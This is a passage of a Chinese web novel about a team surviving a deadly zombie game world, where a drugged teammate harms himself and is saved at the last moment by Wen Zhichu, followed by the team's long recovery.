他原本以为是温知初发来的消息,打开后,发现传讯人是屈孚宁。 并非文字,而是一段视频。 视频打开后,画面晃动,是一个类似杂物室的地方,镜头闪了闪,房间里出现了一道大家都熟悉的人影。 邱任望。 他躺在地上,身上的校服沾满血迹,不过看起来不是他自己的血,像是为了躲避丧尸才进的杂物室,而后不知道因为什么原因陷入昏迷。 地上有个扣倒的药瓶,药瓶的盖子是打开的状态,瓶身上有一个绿色的叉,旁边画着一个红色的蝙蝠。 [什么意思,小邱晕过去之前是吃过这个药片吗? ] [这是什么药,我怎么从来没见过这个药的商标… ] 视频足足有三个小时,将铭皱起眉,按加速键。 前面两个小时邱任望全部都是昏迷的状态,加速到后面一个小时,邱任望醒过来,他睁开双眼。 睁开双眼的瞬间,邱任望的瞳孔骤缩,像是看到了什么,不可置信捂住脑袋,发出尖叫。 他的身子躲到墙角,似乎在躲避着什么:“别过来。” “放开我放开我放开我放开我放开我放开我放开我放开我放开我放开我放开我放开我放开我放开我放开我放开我放开我放开我放开我放开我放开我…” 好像有什么无形的东西不停地攥着他的脖子,让他的脸愈发充血而红肿,无法挣脱,他坐在墙角,双腿不断挣扎,呼吸急促。 章诎深深地皱起眉。 这样的邱任望,像被脏东西附体了一般。 邱任望除了有些跳脱外,其实是个十分冷静的人,表现出这样的慌乱,绝对是异常中的异常。 此时,邱任望的人物卡片弹了出来。 人物信息资料。 姓名:邱任望。 人物背景:高三四班的美术生。 背景补充:因为升学压力患上极端的精神疾病,随身携带精神药物,每天必须吃药。 晏逾明:“药有问题。” 将铭异口同声:“药有问题。” 瓶身的商标,怎么看怎么都不像是正常的精神药物。 这样的人物设定,完全是一种作弊,<深渊>能够借由这样的人物设定,让邱任望服下非正常的药物。 不知道邱任望到底看到了什么,他一直在叫嚷着放开我,而门板外的丧尸也不停地撞击木门,岌岌可危。 “放开我放开我放开我放开我放开我放开我放开我放开我放开我放开我放开我放开我放开我放开我放开我放开我放开我放开我放开我放开我放开我…!” 邱任望的声音嘶哑,但依旧在叫,他捂向自己的脖子,拼命地想挪开脖子上的那种无形的力量。 精神恍惚到极点,他开始拿脑袋撞墙,“砰”得几声,墙板沾上血,他还在撞,头痛却依旧无法终结。 他在地上摸索着,摸到一个破碎的旧玻璃片,攥紧,突然吼叫一声,要将锋利的玻璃碎片朝自己的左眼扎。 视频在这里戛然而止。 夜风呼啸。 综合楼三楼,温知初站在走廊中央,周围都是丧尸,光屏上的视频戛然而止,终端变成黑屏的同时,温知初手中的支杆扎穿眼前丧尸的眼眶。 这个药瓶… 034号若有所感: [宿主,你是不是知道这是什么药。 ] 温知初陷在思考中,没有回答。 视频里,邱任望所在的杂物间在一楼,她已经排查过那里…邱任望并不在一楼,他应该移动位置了。 但愿他没有真的把玻璃扎进眼睛里。 温知初踹开身前的丧尸,往前走。三楼排查完,她朝四楼走去,手斜着往上擦拭脸侧被溅的血,血顺着她的手腕往下淌落。 楼道间的灯忽闪忽明。 034号再次问: [宿主,你是不是知道那是什么药? ] “精神控制类的药,会致幻和产生极大的窒息疼痛感。”温知初踏上楼梯,支杆捣穿丧尸脑袋,在“噗呲”声中被拔了出来。 丧尸倒下,温知初继续大步往上走,左手拎着的支杆上,不断往下淌血。 “以前吃过。” 第48章 这种药, 邱任望也是第一次遇到。 三天前,他刚进入这里,睁开眼的时候, 身边没有其他队友亦或是任何人, 他站在丧尸堆里, 险些被咬到。 他躲开了一个扑过来的丧尸, 反应很快地逃离原地。 身体状况有些不对劲。 脑袋有种发热的感觉,他跑得踉跄,动作完全没有平常快,而且他看东西也有些不清晰,视野内,丧尸和倒退的树木、道路都模模糊糊的,所看到的事物,都像是笼罩在浓雾里。 就连脑袋,也产生了脑雾的现象。 作为一个要用脑子吃饭的Tactic位,他的脑袋混沌不清,根本没办法思考,混混沌沌的。 完了。 他当时的唯一想法, 就是他这次的人物设定肯定有问题。 他凭借着训练过的本能,在道路上大步地奔跑,躲避不断追过来的丧尸。 丧尸越来越多,从上向下俯瞰,能看到他被一群丧尸追赶着,而他跑向的道路,也拥挤来更多的丧尸。 有好几次,他无法看清的视野,让他差点被丧尸扑倒。 他眯着眼睛,仔细地想要看清四方,最后跑进综合楼。 一楼的杂物间开着,他夺步跑进去,用杂物间里的拖把把几个追上来的丧尸顶了出去,而后“砰”得关上门,将门反锁。 气喘吁吁地坐下后,视线变得更模糊了,和视野一起变得更加模糊的,还有他产生脑雾现象的脑袋。 不知道为什么,他感觉自己像是过敏了,全身上下像是长满疹子一样发痒,用力地抓了抓脖颈后,却发现皮肤上并没有什么疹子。 头疼。 他捂向自己的脑袋。 头好疼。 颈椎处疼痛充血,肩颈血管被压迫的感觉很明显,脑袋从下至上地疼痛,脑鸣贯穿,就好像有什么东西要从脑袋里爬出来,要把他的整个脑袋给炸成血花。 他捂住自己的脑袋,不到一会儿又想去抓自己的发痒无比的手腕,抓挠后发现手腕上的皮肤凹凸不平,捋起袖子,眯起眼睛用模糊的视线仔细去看,才发现手腕上一道道都是被刀割过的自杀的痕迹。 这些痕迹深刻地往外凸,不仔细看,就像几只遒劲而粗的灰色长虫。 邱任望自从来到这里,变得已经不像自己。 原本的邱任望,就算面对慌乱也不会惊慌,永远会冷静地分析,但是来到这里后,他赖以生存的脑子像是被什么东西附体了一般,他无法理智地思考,竟然会因为门外丧尸撞门的声音而瑟缩地往后退。 太难受了。 好想吐。 全身上下都感觉不对劲、感觉身体里、脑袋里好像要长出什么…疼痛、疼痛…药… 邱任望按照人物本能摸索着自己的校服,从口袋里找出一瓶药,哆哆嗦嗦得,颤抖的手习惯性地打开了药瓶,倒出两片药就要往嘴里塞。 在嘴张开的那一瞬间,理智短暂地回颅,他把药瓶的盖子重新盖上。 不能吃。 不能吃。 他仅存的,脑雾中挣扎的理智说。 但按照这样的状况下去,他的理智绝对存活不了多久。 他想把药瓶扔出窗,但是耳畔却响起了一声。 [注意关键事件节点:作为一名精神疾病患者,你每天都会服药。 ] · 来到这里的第二天,邱任望依旧被困在综合楼的杂物房里,期间他因为抗拒吃药晕厥了一次,醒来后,头痛感加重。 作为这位精神病患者,躯体化十分严重。 他无法再继续抗拒关键事件节点,身体接管了他的理智,在无法思考的状态下,他吃下了药。 吃完后,理智短暂地回归,他试图和TRES的其他队友联系,却发现信号也被受限。 他一边抵抗着身体的不适,一边试图改造终端的信号端。 这间狭小的杂物间里,间或会传来他用头撞墙的声音,这是他身体为了压制头痛症的应激反应。 第三天,他在关键时间节点下,第二次服用药片,药效加强了。 他开始间歇性地失去知觉,一天之内,他在墙上画了三道痕,这代表他至少无意识昏过去至少三次。 在丧失意识期间,他的身体可能出现了类似看到幻觉、应激等反应,每当他醒来时,身上会多出一些伤口,终端上,多出他无意识时朝队友发的信息。 “放开我放开我放开我放开我放开我放开我放开我放开我放开我放开我放开我放开我放开我放开我放开我…” 在他丧失意识的时间段,到底是什么东西在逼迫着追赶着他,丧尸么?关键事件节点么?亦或是幻觉? 第三天晚上,他进行了第三次服药,幻觉加重了。 皮肤的瘙痒感也加重,他用手不停地抓挠皮肤,把身上抓出道道血痕,感觉有什么东西真的要从皮肤里长出来了,他低头一看,手臂上竟然长出了一长串的…眼睛。 这些眼睛静静地躺在他皮肤的各处,安静地看着他。 他看向杂物间的镜子,发现自己的脸上、脖颈上、手臂上、大腿上,所有的地方都长出了眼睛,这些疙瘩般的眼睛密布,让他发出尖叫声。 他想提醒自己这可能是幻觉,但已经分不清现实和虚幻。 眼睛滚动着,让皮肤更加发痒,当他抓挠全身时,眼睛会被抓破,刺痛地往外流血。 “放开我放开我放开我放开我放开我放开我放开我放开我放开我放开我放开我放开我放开我放开我放开我…” 邱任望不停地说着。 有东西在看着他,无时无刻,觊觎而窒息。 他的手在一片混乱中抓到了一片玻璃废片,紧紧地攥住,几乎没有思考,就捅向了自己脸上的,那只有碗一般大的、充血的、凝视着他的眼睛—— 温知初站在综合楼六楼的中央,周围都是丧尸。 从昨天晚上十二点她来到这里,她从一楼一层一层地清杀、排查到这里,现在已经是早上七点钟。 距离他们能离开这里,还有15H。 距离TRES能启用“剧情脱离”,还有8H 。 [小温从昨天晚上到现在,一直在厮杀,又因为关键时间节点受伤了,一直到现在都没时间处理伤口。 ] [有谁还记得她只是个E级的队员。 ] [TRES把人招进来也不是这么用的,就算再怎么有天赋,也会疼、也会累啊… ] [可是TRES也无能为力吧。 ] 温知初单手拎着支杆,继续往前走。 她的校服被血浸染湿透了,沉重地贴在身上。用手挤一挤,绝对能把校服的衣摆挤出血水来,她的头发也被血浸湿了,发尾因血液凝固,垂在肩侧,一滴滴血水沉重地滑落。 她的右臂因为凌晨的关键事件节点,承受了不能躲避的伤,被划出一道大口子,往下不断流淌的血让她的唇色十分苍白。 扎在丧尸堆里,她没有时间处理伤口。 支杆不断地扎入丧尸的脑袋、搅动、利落地拔出后,再次扎入另一个丧尸的脑袋,她踹开身前往下倒的尸体,往外走。 杂乱的动静和飞溅的血液中,温知初终于从六楼的丧尸堆里走了出来。 六楼,排查完毕,依旧没有邱任望。 她站在楼道口,抬头往上看。 只剩下一个地方了,邱任望在天台。 她正要踏上台阶,往上走,楼梯口旁电梯道内、中间的那个电梯传来了动静,里面传来了丧尸的吼叫声,显然是一个丧尸被困在电梯内,不断用身体撞击电梯,想出来。 这一切本该和温知初无关,但是… [注意关键事件节点:作为善良的班长,你怀疑电梯里挣扎的是求救的活人,你会打开电梯门,进入电梯中,一探究竟。 ] 陷阱。 <深渊>显然又作弊了。 在明显电梯里有丧尸的情况下,既要求班长打开电梯,还要求她明确地进入电梯中,一探究竟。 明摆着的剧情陷阱。 不过就算是陷阱,也不得不去做。霸王条款。 温知初抿了抿唇线,终究走到电梯前,按亮电梯键后,电梯门缓慢地打开,困在其中的两个丧尸顿时冲了出来。 [注意关键事件节点:踏进电梯。 ] 温知初踏入电梯,用支架抵住其中一个朝她扑来的丧尸,把另一个丧尸踹出去。 [注意关键事件节点:待在电梯内。 ] 扭断丧尸的头颅后,她将另一具尸体也踹出电梯。 她站直身,想走出电梯,耳畔的电子音却不停响起,接连不断。 [注意关键事件节点:待在电梯内。 ] [注意关键事件节点:待在电梯内。 ] [注意关键事件节点:待在电梯内。 ] …… 嘈杂的电子声中,电梯门被关上,温知初抬手去按开门键的瞬间,电梯猛得晃动了一声,电梯键上的显示屏失去了光亮。 跳闸的声音很清晰得从远处传来。 综合楼忽然停电,电灯熄灭,电梯于晃动中卡在了五楼和六楼的中间。 [注意关键节点:作为一个班长,你是一个普通的人类,你无法应对电梯故障,被困在了电梯内,无法逃脱。 ] 温知初被剧情困在了电梯内。 她在昏暗中眯了眯眼,朝上看。 电梯的晃动声没停,似乎还有不断会下坠的趋势。 · “小温被困住了。”章诎拿着改造过信号的终端,神情有些焦急,“她被困在了综合楼的电梯里,电梯故障,又停电了,剧情限制她无法逃脱。” 管理室内,将铭皱起眉:“就算剧情不限制,在一个出故障的电梯里,她也没办法出去。” 管理室内短暂地陷入了沉默。 章诎:“要不…我把“剧情脱离”的时间用了,我去营救小温…” 他嘶了一声。 风险太大,“剧情脱离”的七个小时是用来防止场馆内敌方暴动的,是用来压哨的权限,那些敌方绝对还会产生暴动…现在从场馆到综合楼去营救队员,少说也得花五个小时左右… 一直沉默着的晏逾明出声:“她怎么说?” 章诎看向新传来的简讯:“小温说…给她开半个小时的剧情脱离权限就行了。” “半个小时?”将铭问,“半个小时够吗?” 他又问:“她现在不跟我们在一起,怎么把“剧情脱离”的时间转让给她?” 当队员不在同一地点时,由Tactic位传出去的剧情脱离会受到一定时间的冻结。 章诎:“我现在把时间转让给她的话,她得十二个小时后才能解冻权限不过我觉得半个小时完全不够挣脱电梯困境,太危险了。” 处处是限制。 十二个小时后才能解冻权限的话,也就意味着,温知初必须在半个小时的权限内脱离电梯,又必须在两个半小时内找到随时可能移动位置的邱任望。 到了规定的时间,域关闭,剧情目标没完成的话,任务失败, TRES的队员会死在域里。 “这几乎不可能,太冒险了…”将铭说,“单凭一个人,怎么可能逃脱停电状况下的故障电梯,我们还是派个人去营救她。” 章诎:“我也这么想…但敌方也有权限,肯定会压在最后几个小时发生暴动,剧情权限用在营救上,那场馆内怎么办?” 剧情陷阱的目的显然就在此。 消耗他们的权限时间。 倚在窗旁的晏逾明打断他们的话,他伸出手:“章诎,终端给我。” 章诎将终端递给他。 综合楼受困电梯内,034号不断发出尖叫声。 034号:[啊啊啊啊啊宿主,这个电梯还在往下坠! ] 034号:[啊啊啊啊啊宿主,我还年轻,我不想死啊! ] 034号:[我不要死在这里啊! ] 温知初安静地坐在一旁,拿出酒精和绷带,处理自己的伤口。 034号尖叫的嘈杂声中,终端亮了,温知初抬起手,点开了接听键。 低沉熟悉的声音从另一端响起,晏逾明开门见山:“半个小时够吗?” 酒精洒在伤口上,温知初轻微地皱了皱眉,言简意赅:“够。” 晏逾明:“你得等十二个小时脱离权限才能转让给你。” 温知初:“嗯。” 说话的同时,电梯继续震晃。 终端的另一端,晏逾明似乎听到了动静:“你那里什么声音?” 温知初单手给右臂的伤口缠绕绷带,电梯又往下滑了几米,已经滑到了四楼和五楼之间的间隙,金属摩擦发出刺耳的嗡鸣。 她抬眼看向晃动的电梯天花板,手撑在电梯壁稳住身体,深吸一口气:“没什么,出了些小问题。” 第49章 命悬一线的事,显然不是什么小问题。 不过综合楼里发生了什么,游泳场馆内显然不知道。 信号断了。 游泳馆二楼的管理室内,一段漫长的沉默后,章诎最终开口:“既然小温这么说了…我们应该选择…” 将铭接过话:“相信她。” 后面终端对面继而发来的消息,表明了温知初进一步的态度。 Wen:[场馆需要更多的时间, 你们不要派人过来。 ] Wen:[信号太弱了, 后面也许不能再联系。 ] Wen:[半个小时给我, 是最恰当的。 ] 片刻后,半个小时的“剧情脱离”权限由章诎转让给温知初,进入了十二个小时的冻结时间。 将铭蹲下,用手捏了捏脖子,眼里有担忧:“怎么这么多限制啊…” 冻结时间。 隔离地点。 生成不合理的关键事件节点。 往后…还有什么在等待着他们? · 时间一分一秒地度过。 日头往上爬, 逐渐来到正午,十二点的日光透过游泳馆的玻璃天棚, 照在游泳池的池水上。 从前澄澈的池水因为昨天与丧尸的搏斗,变得十分浑浊,池水上飘着碎裂的椅子木屑和沾着血的塑料膜。 学生们逐渐醒来,开始去领饭吃,有充足的食物和药物这件事让醒过来的大家神清气爽不少,众人三三两两地聚拢在一起,享受着难得的安静时光。 “竟然还有菠萝罐头欸…” “切小点,我们分着吃。” “班长呢,怎么没见到班长?” “班长?我也不知道欸, 可能受伤了还在睡觉吧…” 班长在远隔千米之外的综合楼里。 电梯井里很闷, 这里没有食物,也没有光透进来,昏暗的电梯内, 温知初靠在电梯壁上,低头闭目养神。 电梯现在算是稳住了,卡在了四楼和五楼之间,但谁也不知道这种稳定能维持多久。 摇摇欲坠的支点靠不住,随时都有可能彻底掉落下去。 “嘎吱”——游泳场馆内,李奂壬推开门,身后跟着陈付讫。 场馆内的小房间里,坐着之前遭遇丧尸险些死于丧尸之口的那个体育生,旁边的也是篮球部的体育生。 他们见到李奂壬和陈付讫来,脸色立刻变得不自然起来。 两个体育生站起身,想要走出去,被陈付讫拦住了去路。 房门被关起来。 李奂壬:“就你们两个人?其他人呢?” 那人道:“不知道…” 房间里弥漫着僵硬的尴尬,在沉默中,李奂壬突然笑了一声。 他走到那个体育生身旁:“我们的关系什么时候这么僵了…诶呀,我跟你道歉 ,昨天我不应该对你见死不救的。 ” 他道:“当时我的脑袋完全僵住了,没有反应过来…你知道人在遭遇到危机的时候因为害怕会陷入木僵状态中…是我对不起你。” 那人没想到李奂壬会主动道歉,脸上的神情抽了抽,像是不知道该怎么回应。 他犹豫了片刻后,道:“没事,我能理解。” 李奂壬勾住他的肩膀:“那我们还得按照原计划走啊,趁着这会儿没其他人注意,我们要不现在出去吧?” 这话说出来,那体育生没有犹豫,立马摇头:“我不想出去了,待在游泳馆内挺好的…四班的安排其实挺好的了。” 房间内的气氛再次陷入僵硬。 李奂壬:“真的不出去?”他转头,看向另一个人:“你也不愿意出去?” 那人摇摇头,没有说话。 两名体育生看气氛不对,想要离开房间,被陈付讫喊停。 陈付讫:“别走啊,为了道歉,李哥可是给你准备了礼物啊。” 那人回头:“什么礼物…” 话没能说完,迎头“砰”得两声,两个人被钝物击中脑袋,瞬间被击倒于地。 地上躺倒两个人。李奂壬抬起脚,用力地踹了踹两个人的脑袋。 陈付讫:“接下来怎么办?” 李奂壬:“还能怎么办…这俩人在游泳馆死了就算我们输,把他们拖出去杀了。” 两个人一人拖起一个学生往外走,绕开有人的行道,一路把晕过去两个人往外拖,地上被拖拽出两道长长的、断断续续的血痕。 一路没人,他们果然选择了压在最后一天的最后几个小时来完成杀戮。 他们走向东门,眼见着就要离开场馆。 东门的阴影处,章诎和将铭走了出来,李奂壬和陈付讫停住脚步,晏逾明站在门前的柜子前,一言不发。 章诎眯了眯狐狸眼:“你们果然选在了这个时候啊。” 李奂壬看到他们,先是焦躁地皱了皱眉,而后笑起来:“把权限压到最后当然最保险,你们不也是和我们一样吗?” [李奂壬和陈付讫真的是敌方? ] [这算是明牌了。 ] “不过…”李奂壬笑着,“我想综合楼那里应该出事了吧,出的问题还不小,牵扯到你们的两个队友,你们的时间给了他们后,真的还够和我们熬么?” 经过计算,无论如何,他们“剧情脱离”的时间绝对比TRES的多,除非TRES把综合楼那里的队友抛弃了。 将铭望向墙上的钟:“距离时间结束还有七个小时,我们的剧情脱离时间可以直接告诉你们…七个小时十五分钟。” 下午三点了。 TRES剧情脱离的时间是满的,不用再对剧情控制瞻前顾后,完全可以对敌方出手,阻止他们要做的一切行为。 章诎手上拎着长绳,活动了活动脖子。 李奂壬脸上的笑僵硬了:“好巧啊,我们的时间也是满的。” 不可能…他们放弃综合楼了么… 李奂壬:“看来你们没分多少时间给你们的队友啊…真狠心啊…他们死了的话,任务失败,你们也活不了的…” 他和陈付讫攥紧手中的铁棍,身体前倾:“看来你们这些联邦监狱外的好人也没多好嘛…” 东门前,层叠的柜子前,传来了打砸的声音,双方的人影交混在一起,开始倒计时中的厮杀。 而千米之外的综合楼内,时间也在一分一秒地度过。 温知初一直在闭目养神,电梯内已经沉寂了漫长的时间,她一动不动,几乎要与这篇黑暗融为一体,如果不是因为电梯偶来会传来震颤晃动的声音,这里几乎就像是一幅静态画。 时间被寂静拉长,直到综合楼的天色黯淡下去,夜幕降临。 昏暗的电梯内,终端的光屏终于亮了。 温知初睁开双眼。 [时间解冻,班长获得半个小时的剧情脱离时间。 ] 034号:[半个小时?半个小时不可能的…] 034号: [半个小时怎么从这个稍微用力点动就要往下坠的电梯里逃脱? ] 已经晚上七点了,温知初站起身。 034号:[啊啊啊别动,电梯震晃得更厉害了! ] 温知初的后背紧贴冰凉的电梯壁,打开电梯内的应急照明灯,微弱的光亮下,她从背包中拿出绳子和一个螺丝刀,抬起手,没有任何犹豫地开始撬天花板。 撬动时,就算动作再怎么轻,电梯也在不停地晃。 温知初尽量稳住身子。 她短暂地抿了抿唇线。这种动静,曳引电梯的钢丝绳显然出问题了。 通风口的栅格螺丝异常得紧,温知初小臂绷紧,不管脚下晃动的动静,专心地撬通风口。 当最后一个螺丝卸下,电梯厢猛得又剧烈晃动,钢丝绳摩擦的声音刺耳而清晰得从上空传来。 034号尖叫着: [啊啊啊啊啊我不要死在这里啊! ] 通风口被温知初撬开,顶翻后,温知初用手电筒照向井道顶部。 果然有一根钢丝绳已经松脱,在井道中摇晃。 脚下晃动得更厉害了,“哐当”声中,电梯厢在尖锐的摩擦声中就要彻底往下坠落。 没有更多时间,温知初把背包甩到背上,双手撑住通风口。 电梯厢突然往下掉落了大概十公分,温知初撑起身体,从通风口中爬出来。 井道内很暗,手电筒的光照亮了钢丝绳,在034号的尖叫声中,温知初伸手去拽钢丝绳,电梯厢又下降了约二十公分,而后再也止不住地大幅度震晃,向下剧烈地摇晃。 “轰”得一声,电梯在巨响中砸落,巨大的声响让整个电梯井内灰尘四溅,在扑朔的灰尘和034号的尖叫声中,温知初的手臂紧紧地拽住了钢丝绳,指节泛白,包扎好的右臂伤口再次崩裂,血逐渐从绷带内渗透出来。 于034号的惊慌以及电梯井内的闷涩中,温知初深黑的双眼只盯着上空,不看下面,不管被钢丝绳硌出血的手心,绷紧手臂,脚蹬在电梯井上的墙壁,借助墙壁的支力往上挪动。 钢丝绳随着她的动作不断晃动,发出沉重的“咯吱”声。 一路往上攀动,血沿着手心往下流,她爬到了四楼和五楼之间,这里有一个用于平常检修电梯的小型检修平台,凹在墙壁里,平台的边缘有检修门,门缝内透出微弱的光影。 温知初向上看了一眼,固定住身体,在钢丝绳的“嘎吱”声中,双脚蹬在电梯井的墙上,身体反作用力地荡向小平台,屈腿落地后,双手撑住墙壁站起来。 [注意,你的脱离剧情时间已结束。 ] 几乎与此同时,“砰”得一声,温知初踹开了检修门,弯腰踏入门。 检修间的另一扇门也被她打开后,外面是半截往下递的楼梯,门上贴着“设备间,闲人免进”的标识。 她躬身,一边给自己的手心包扎绷带,一边向下走,走到台阶尽头,再次推开楼道门后,终于是综合楼的内景,远离了电梯井。 这里是四楼,着意味着走出来后,又得重新从四楼往上厮杀过去,才能到达天台。 温知初推开门。 丧尸的嘶吼声从各处扑来,有种恍若隔世的感觉,温知初拎起了支杆,朝丧尸群中扎去。 时钟走着。 晚上七点半。 晚上八点。 晚上八点半。 晚上九点… 晚上九点半了。 游泳场馆的东门前,一地碎裂的玻璃,柜子东倒西歪,地上躺着两个人。李奂壬和陈付讫两个人趴在地上,浑身都是血,身上层层绑着绳子。 李奂壬嘴角往外流血,艰难却依旧发着笑:“可惜你们这轮比赛杀不了人。” 晏逾明坐在课桌上,居高临下地看着他:“你们队的其他人在哪里?” 李奂壬的牙齿往外冒血:“这重要嘛…” 他看向TRES队员的眼中,有着明显的恨意。 章诎走过去,狐狸眼眯了眯,用力地踹向李奂壬的肚子。 李奂壬捂住自己的肚子,往外继续吐血:“你们也真不怕把我弄死啊…” 眼见着章诎继续走过来,李奂壬捂住自己的肚子:“我说…” 他断断续续地笑着:“没来,这次就来了我们两个人…真的…哈哈哈…” 他神经质地笑着,从肌肉抽搐的情况来看,似乎是长期服用某种兴奋药剂的生理反应:“告诉你们也没什么大不了的,我们战队的情况和你们不一样,权限比你们多得多,综合楼那里的情况,是我们用缩减参赛队员换来的权限陷阱。” 他继续笑着:“从事实来看…我们没选择错啊…” 伴随李奂壬这句话落下的,是半空中刺耳的警报电子音。 [TRES请注意,队员邱任望生命体征正在急速衰减。 ] [比赛只剩下半个小时,请合理分配时间,保证队友安全存活。 ] 与此同时,章诎的终端光屏亮起,邱任望的定位点微弱地跳动,他的生命体征确实在衰减。 逐渐黯淡的光点表明邱任望现在状态很差,已经到了命悬一线的时候。 章诎站直身,皱起眉:“邱任望…” 将铭:“我们是不是应该去综合楼…” 晏逾明打断他们,淡漠地往玻璃门外看:“来不及了。” 时间已经在倒计时,早就来不及了。 综合楼内,温知初喊着邱任望的名字,无人回答。 一路重新从四楼厮杀到六楼,温知初手上拎着的支杆,滴答滴答往下淌着血,她浑身上下被血浸透,几乎没有一处不沾着血,每往前一步,鞋子都会在地上踩下一个血脚印。 终于穿过六楼的尸群,温知初踏上了去天台的台阶。 天台的门从里面锁住了,没有钥匙,温知初拿支杆撬锁。 这是一个厚钢门。 [距离比赛关闭时间,还有两分四十七分。 ] 时间无比接近傍晚十点。 支杆插入门缝,用力往外撬,金属卡扣发出刺耳的扭曲声后,锁芯晃动,温知初后退一步,抬脚狠狠地踹在门上! 砰——! 034号:[啊啊啊啊宿主,来不及了! ] 温知初对耳畔的嘈杂声置若罔闻。 门剧烈震颤,锁链绷紧。她后退半步,又一次重重踹上去!第三次时,门终于被踹开,门锁断裂,零件四散。 温知初撑住门框,跑了进去。 天台上,邱任望站在栏杆上,憔悴不堪地风中摇晃身体。 夜色下,他的左眼插着一块玻璃碎片,玻璃贯穿眼球,眼上、脸上的血已经干了,形成深深浅浅、可怖的痕迹。校服外所有暴露的皮肤遍布道道划痕,伤口之深,显然狠狠地被用利器划过,如同要把什么脏东西从皮肤里挖出来一般。 温知初愣了愣,心脏因为某种回忆紧缩了一瞬。 邱任望双手抱头在嘶吼,听到温知初的脚步声后,他缓慢地转过头,似乎在辨认她是谁:“温知初…” [时间只剩下一分三十五秒。 ] 温知初缓慢地朝天台边缘靠近,声音尽量放低:“邱任望,你现在看到的,都是假的。” 邱任望生理性地抽搐着,僵硬地看着她。 “因为你吃了药。”温知初一边说,一边朝他走近。 温知初:“我也吃过。” 她道:“这种药会导致严重的致幻和疼痛…你现在不是你…你现在经受的痛苦都是幻觉给你带来的,所看的、所感觉都是假的,一切都会结束的。” 邱任望呼吸急促,眼神涣散,痛苦地抓住自己的左眼:“不会结束的,不是假的…我看到的都是真的…它、他们…放开我放开我放开我…” 他突然尖叫,太疼了,这种遍布全身的疼痛让他呼吸不过来。 “放开我放开我放开…我放开我放开我放开我…!”他吼叫着,眼神突然坚定,“我要挣脱这些东西…才行…” 时间只剩五十八秒。 温知初向前一步,邱任望却显然不愿意接受任何靠近,他的身体往后倾,直接朝着天台下倒去,没有任何犹豫。 身体失去重心的刹那,这些天所经历的痛苦都于此刻于意识中爆发,剧烈的疼痛中,理智恢复了一瞬,邱任望失神地伸出手,似乎想要抓住什么。 但已经来不及了。 风声疾速穿透他的身体。 砰——! 楼上有什么跟着掉了下来。 鲜血顺着楼体的墙壁滑落…却不是邱任望的血…他没有坠下去,朦胧的视线中,他的身体摇摇晃晃—— 手腕竟然被人拽住了。 温知初一只手拽住邱任望,另一只手紧紧地拽住四楼的窗框,身体悬空,臂膀因为极限的拉扯而剧烈震颤,伤口崩裂开,血液顺着衣袖汩汩渗出。 “滴答”“滴答” 血如断线的雨,坠落在邱任望的脸上。 半空中,除了风声,还有随风而来的电子音。 [倒计时,归零。 ] [第二轮比赛结束,恭喜TRES战队获得胜利,正在为队员们退离域。 ] 邱任望的眼睛被血糊着,不可置信而虚弱地往上看。 温知初低头望着他,手紧紧地攥住他,指骨就算快要断裂了也没有松手。 “没关系,”她垂眼,声音低而温柔,“我抓住你了。” 第50章 TRES的第二轮SS赛结束后, 整整两个月,TRES基地大门紧闭,没有任何有关成员的消息往外传。 星网里众说纷纭,引发了一番又一番恐慌的讨论,也没见官网出来回复。 [虽然我没有资格看SS赛,但我也知道比赛是五月末进行的吧,现在都八月了,为什么TRES一点消息都没有…不会是出什么事了吧… ] [六月初的时候, SS赛的那片域外,有人拍到了,那些成员都是被抬着出来的,受伤很严重。 ] [连续进域本来就是一件精神力轰炸级的损伤,而且他们这次待了四天,可能在比赛里遇到了什么不可控的因素… ] [有小道消息说他们跟之前的那些SS战队一样, 精神力损耗,战死了。 ] [别吓我,这种消息不能乱传。 ] [那为什么网上都猜疑成这样了, TRES没有任何报平安的消息? ] [肯定是出事了吧…] [好像是邱任望和温知初这次伤得尤其重…] [不是, 到底是死是活啊,@TRES,给大家一个交待啊。 ] [如果TRES的队员就这么死的话,我也不想活了,我能在这个操蛋的<深渊>世界里熬这么久,就是因为TRES的存在,如果TRES都没办法找到走出<深渊>的办法就此阵亡的话,我觉得我没必要再活下去了。 ] [是啊,如果没有希望的话, 我何必自虐地去熬一个月又一个月的电子剥离痛,我不如现在就去死…] [一想到明天是8月4日,又一个电子剥离日,我现在就想去死。 ] 在事态发酵得更严重之前, 8月3日的下午两点, TRES的官网终于更新了消息。 TRES更新了四个字:活下来了。 这四个字印证了大家之前的猜想,成员们确实遭遇到了些什么事,经历两个多月的危险期,直到今天,官网才能确切地回复大家,大家活下来了。 生命体征得到了控制。 此消息一出,星网上讨论更甚。 [这么说的话,不就证明之前真的很危险,大家真的差点就… ] [不是,如果第二轮SS赛就这样的话,接下来怎么办啊? ] [有必要花这么大的代价去SS赛的域吗,就不能回到以前S队的时候吗? ] [可是,总得有人去做啊。 ] [不去SS域的话,永远就再也无法靠近离开<深渊>的真相了…] [虽然去了SS域,似乎也机会渺茫。 ] [哭了,有种无能为力的感觉,我的能力到达不了SS,作为旁观者,这些重担似乎只能落在TRES身上。 ] [总有人说能力越大责任越大,不觉得是种窒息的道德绑架吗,大家都是血肉所铸成的普通人啊,他们的生命也只有一次,为什么要背负这些疼痛… ] [无能为力…] [不说丧气话了,只希望他们早日康复,平平安安吧。 ] · TRES基地三楼的卧室内,落地窗的窗帘半拉,房间内传来断断续续的医疗仪器滴滴声。 仪器上的血氧值达到平衡,落地窗外传来鸟叫的声音。 温知初躺在床上,静静地闭着双眼,乌黑的长发散落,白皙的脸部轮廓如同水墨画般温和,睫毛在眼下投出一片静谧的阴影。 忽略床边的医疗仪器,她就像是一个沉睡的公主一般,如同在等待着什么使者的召唤。 床边的医疗仪器发出规律的滴答声,与窗外的蝉鸣交织在一起,形成一种奇异的韵律。 日光落在柔美的轮廓,将她的皮肤映得近乎透明,仿佛能看见底下细微的血管。 温知初的手指轻微动了动,睫毛颤动,缓慢地于这光影中醒来。 双眼有些茫然,像是从一场漫长的梦中醒来,些许茫然,些许恍惚。 落地窗外,树影婆娑,发亮的叶子在日光下泛着金色的光晕。 8月3日下午2点,她醒过来了。 终端上的消息纷至沓来,门外传来了脚步声,女训练官从门外走来:“啊…你醒过来了…” 在初夏时进入域的TRES队员们,再次醒来,已经是季夏了。 · 季夏的日头十分盛烈,蝉声鸣叫个不停。 温知初坐到了落地窗旁的椅子前,桌上摆着热腾腾的花茶,训练官坐在她的对面。 温知初的脸色白里透红,比之前看起来好太多。 这两个月她昏迷时的医疗滋养没断过,身体早就养好了,却因为精神力受损过于严重,此时才醒来。 训练官:“前几天其他队友接连醒过来了,你是倒数第二个醒过来的。” 温知初若有所思,似乎在思考为什么第二轮比赛会对他们的精神力造成如此严重的影响。 听到训练官的话,她抬眼:“谁还没有醒来?” Yu… 